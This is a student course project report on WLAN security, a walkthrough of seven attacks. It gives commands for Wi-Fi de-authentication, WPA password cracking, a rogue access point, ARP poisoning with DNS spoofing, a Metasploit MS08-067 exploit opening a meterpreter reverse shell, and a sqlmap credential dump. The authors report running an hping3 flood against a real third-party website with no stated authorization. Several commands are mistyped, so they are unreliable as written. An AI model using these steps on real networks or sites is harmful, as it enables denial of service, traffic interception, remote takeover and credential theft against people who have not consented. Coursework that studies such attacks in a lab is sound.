INSE- 6110 Foundation of Cryptography

Security of WLAN

Submitted by:

- P.V.S. Kishore Gupta **(ID: 40139205)**
- Chandrima Chakraborty **(ID: 40127853)**

Submitted to: Ayda Basyouni

Project Definition

This project is about the vulnerability description of WLAN. We have performed 7 attacks in this project. De-authentication attack on WLAN, perform password recovery, Perform Domain Name System (DNS) spoofing through man in the middle attack, Perform Fake access point, SQL injection, DDOS attack, Exploiting windows XP Sp2 (MS08- 067) by metasploit

Tools/ Technology: Kali Linux, Virtual box 6, Alpha adaptor

I. De-authentication attack on WLAN [By Chandrima Chakraborty]

This attack targets the communication between router and the device and effectively disabling the WiFi on that device.

Steps:

1. First check for interfering process using "**airmon –ng check**".
2. Disable those processes "**airmon –ngcheck kill".**
3. Enable monitor mode using **"airmon-ng start wlan2mon".**
4. Enter "**airodump-ng –i wlan2mon"** to check the BSSID and will copy BSSID and channel number.
5. In the next terminal enter "**airodump-ng –bssid<> --channel 11 –I wlan2mon**" to get the station ID
6. In the next terminal enter "**airplay-ng –deauth 10000 –a <BSSID> -c <Station ID> wlan2mon**", we can see that packets are getting de-authenticated.

II. Password Recovery [By Chandrima Chakraborty]

Steps:

1. First check for interfering process using "**airmon –ng check**".
2. Disable those processes "**airmon –ngcheck kill".**
3. Enable monitor mode using **"airmon-ng start wlan0mon".**

4. Enter "**airodump-ng –i wlan0mon"** to check the BSSID and from there will copy BSSID and channel number.
5. We have connected through hotspot (Name: Iphone) and also created a .txt file(testpass2.txt) in desktop where hotspot password is saved**. [Password:Chandrima]**
6. Next enter "**airodump-ng –bssid<> --channel 1 –write testpass6 wlan0mon**", it will create the testpass6.cap file in desktop.
7. We can see the WPA handshake happened on the top and also, we can see the station ID.
8. Now enter "**aircrack-ng testpass6-01.cap –w testpass2.txt**"andfound the Key [**Chandrima**]

III. Fake access point [By Chandrima Chakraborty]

Steps:

1. First check for interferingprocess using "**airmon –ng check**".
2. Disable those processes "**airmon –ngcheck kill".**
3. Enable monitor mode using **"airmon-ng start wlan2mon".**
4. Enter **"airbase-ng -e 'concordia-test' -c 5 wlan2mon",** we can see '**concordia-test**' SSID in WIFI network.
5. Enter **"ifconfig at0 10.0.0.1/24 up"** and "**ifconfig**" to check that the WIFI is up.
6. Enter **"systemctl status apache**" to check the apache server status which is showing active.
7. We have created a conf file where we mentioned 2 sites **amazon.ca** and **cisco.com** (54.186.250.79).
8. We have connected to '**concordia-test'** from another android device and When the person is connected to 'concordia-test' SSID, he/she will be able to reach amazon.ca and cisco.ca.

IV. DDos attack [By Kishore Gupta]

This attack is used to reduce the response time of a website by sending number of requests. I performed this attack on a website named cobaltstrike.com.You should be careful while performing this attack because it drains your computer memory, so you must restart your system.
Steps:

1. We used "tshark" tool to catch packets command (**tshark**) andpress Enter
2. Enter **Hping3 -c 100000000 -d 120 -S -V -w 64 --flood --rand – sourcecobaltstrike.com**

   -c (Number of packets to send), **-d** (Size of each packet), **-S** (Send sync packets), **-w 64** (TCP window size), **--Flood** (send packets faster), **--rand-source** (random source Ip)

V. DNS Spoof [By Kishore Gupta]

Here I will redirect online network traffic to a fraud website and make him/her believe that they are on legitimate website.
Steps

1. Check the Ip address of kali Linux, Windows and default gate way in Virtual machine.
   Kali Ip address:10.0.2.15, Windows Ip address:10.0.2.4, Default Gate Way:10.0.2.1

2. Start Ettercap in kali Linux. Enter command "**Ettercap -G**" and
3. Start sniffingProcess (**Sniff -> Unified Sniffing -> etho0**) press Enter.
4. Scan the hosts.
   Process for scanning hosts (**Hosts -> Scan hosts**) and Check the active hosts (**Hosts ->Host list**)
5. Set the targets.
   Add 10.0.2.1(default gate way) to target-1
   Add 10.0.2.4(Target machine Ip address) to target-2
6. Man-in-the-middle attack (MitM)
   Process (**MitM ->Arp poisoning ->Sniff remote connection**) press Enter
7. Activate DNS spoof plugin
   Process (**Plugins -> Manage Plugins -> Select (DNS Spoof)**) press Enter
8. Start apache server
   Command "**service apache2 start**"

VI. Exploiting windows xp sp2(MS08-067) by Metasploit [By Kishore Gupta]

The MS08-067 is the vulnerability which is present in the windows xp sp2 operating system which allow the attacker to operate the target system remotely. To perform this attack, I have used Metasploit tool.

Steps

1. By using "Nmap" we must check whether this vulnerability is there or not in the target machine.
   Command **(nmap –script smb-vuln-ms08_067.nse -p445 10.0.2.5)**
2. Open the Metasploit execute following commands.
3. Toget details about the bug and also the port number on which we can attack Command (**Info exploit/windows/smb/ms08_067_netapi**)
4. Now use the above exploit to initiate the attack Command (**Use exploit/windows/smb/mso8_067**)
5. Now set the remote host which means target IP address
   Command (**set RHOST 10.0.2.5**)
6. Set the local host which means attacker IP address
   Command (**set LHOST 10.0.2.15**)
7. Establishing the reverse tcp connection
   Command (**set payload windows/meterpreter/reverse_tcp**)
8. Launch the attack.
   Command (**exploit**)
9. Now we can access the victim machine.
10. To know the process running on the victim machines
    Command(**getpid**).
11. You can take the screen shot of the computer, so that you can know what he is doing.
    Command(**screenshot**).
12. You can also press question mark(**?**) to know the attacks that can be performed on the system

VII. Sql injection [By Kishore Gupta]

In SQL injection, attackers exploit the bugs of the website and get access to their database. I performed this attack on vulnweb.com website andable to update the data. I used "**sql map**" which is command

line tool for this attack.

Steps

1. Find the database of the website

Command (**Sqlmap -u testphp.vulnweb.com/artists.php?artist=1 –dbs**)

2. Find the tables in a database

Command (**Sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart –table**)

-D (Database)

3. Find the columns in a table

Command (**Sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart -T user –columns**)

-T (Table)

4. Find the data in columns

Command (**Sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart -T user –C uname –dump)**

Command (**Sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart -T user –C pass –dump**)

> Got the username and password. We can now login into website without signup, and we can update or delete the data.

KeyLearning:

I. Learning and performing attacks in Kali environment at the same time.
II. Teamwork (Divided the work between two members).
III. Different security Vulnerabilities in WLAN and how to perform them in Linux.
IV. This is used for training purpose; we should not apply these attacks for personal use.